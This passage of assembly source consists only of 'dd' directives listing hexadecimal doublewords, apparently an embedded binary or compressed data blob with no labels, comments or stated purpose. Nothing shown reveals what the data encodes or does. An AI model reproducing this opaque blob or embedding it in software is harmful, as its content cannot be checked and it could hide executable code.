7023004Eh, 0C47275E2h dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h dd 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch dd 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h dd 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h dd 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh dd 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h dd 9612CADh, 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h dd 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h dd 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h dd 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h dd 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h dd 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh dd 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh dd 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h dd 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h dd 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h, 8D093927h dd 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h dd 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h dd 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h dd 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh dd 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh dd 2A050A90h dd 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h dd 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh dd 9001BBE0h, 84280015h, 204838DBh, 0C201F229h, 94345577h dd 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h dd 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h dd 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h dd 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h dd 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h dd 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh, 8B730A3Bh dd 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh dd 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh dd 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h dd 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh dd 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h dd 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h dd 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h dd 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h dd 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh dd 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h dd 99282004h, 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h dd 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h dd 64E468C8h, 98396072h, 22586132h, 60502354h, 4800C819h dd 407244E4h, 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h dd 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h dd 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h dd 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h dd 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h dd 187BD521h, 4914DC05h, 57780800h, 64487710h, 5387000Ch dd 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h dd 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h dd 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h dd 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h dd 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h dd 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h dd 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh dd 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h dd 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h dd 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h dd 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h dd 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah dd 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh dd 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h dd 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h dd 817E2423h, 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h dd 0C015E2h, 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh dd 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h dd 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h dd 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h dd 817E5F50h, 0F0756020h, 10165209h, 35010E65h, 47F658A8h dd 79043CD0h, 0F01F642h, 76694445h, 415A7900h, 90016FBBh dd 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h dd 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh, 2B74F44Dh dd 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h dd 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh dd 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh dd 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h dd 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h dd 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah dd 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h dd 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h dd 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h dd 325048h, 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah dd 74005345h, 6B632661h, 67905081h, 4064A294h, 1109C93Bh dd 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh dd 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h dd 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h dd 8462030Eh, 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah dd 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh dd 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h dd 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h dd 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh dd 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h dd 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h dd 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h dd 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h dd 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h dd 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h dd 0D706C3B6h, 69D02900h, 31DFAE5Bh, 2EEA003Ch, 64EFADD4h dd 2A00ED58h, 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh dd 0A16F40Eh, 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h dd 0CB2BCE00h, 0D3674175h, 99330073h, 575AD0DEh, 6A002187h dd 51A65F09h, 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h dd 1AFB0501h, 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h dd 0E7890800h, 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h dd 0AD0049E2h, 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh dd 860067E8h, 557550BAh, 12F3B91h, 3822F5D5h, 402E1004h dd 0C4F278E2h, 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh dd 795990AAh, 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h dd 51F01F8Ch, 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h dd 0EB66ECA1h, 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch dd 0D4D68251h, 993537AAh, 5A880207h, 32079D6Eh, 31566910h dd 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h dd 6B291B50h, 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh dd 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h dd 0B815D39Fh, 697970h, 2658E711h, 560580F0h, 4DB90102h dd 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h dd 9213D353h, 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h dd 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh dd 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h dd 0A639600Eh, 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h dd 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h, 98C8D013h dd 0EC0099E3h, 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h dd 0A6004D9Fh, 38BED1D2h dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch dd 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h dd 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh dd 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h dd 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h dd 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh dd 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh dd 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h dd 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h dd 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h, 0A6B4BA7h dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh dd 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h, 6939FFB8h dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h dd 915FF800h, 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h dd 0C7D91401h, 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h dd 0F0F0190h, 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h dd 66FA6C14h, 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h dd 8D7FE007h, 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh dd 21B58682h, 167ABD3Ah, 7E772700h, 72052026h, 787A67h dd 33F0CE0Ch, 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h dd 17904815h, 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h dd 0A4D2C3Ch, 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h dd 0DC8D39D1h, 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h dd 23EE810Ah, 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h dd 0A8427C6Ah, 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh dd 0E83C392Ch, 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh dd 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h dd 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h, 902BC0F0h dd 7034612h, 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah dd 0E90206BEh, 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh dd 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h dd 4DFFB905h, 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h dd 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh dd 0E64B5288h, 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h dd 4C9CC840h, 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h dd 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh dd 4BF41626h, 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h dd 50FE1391h, 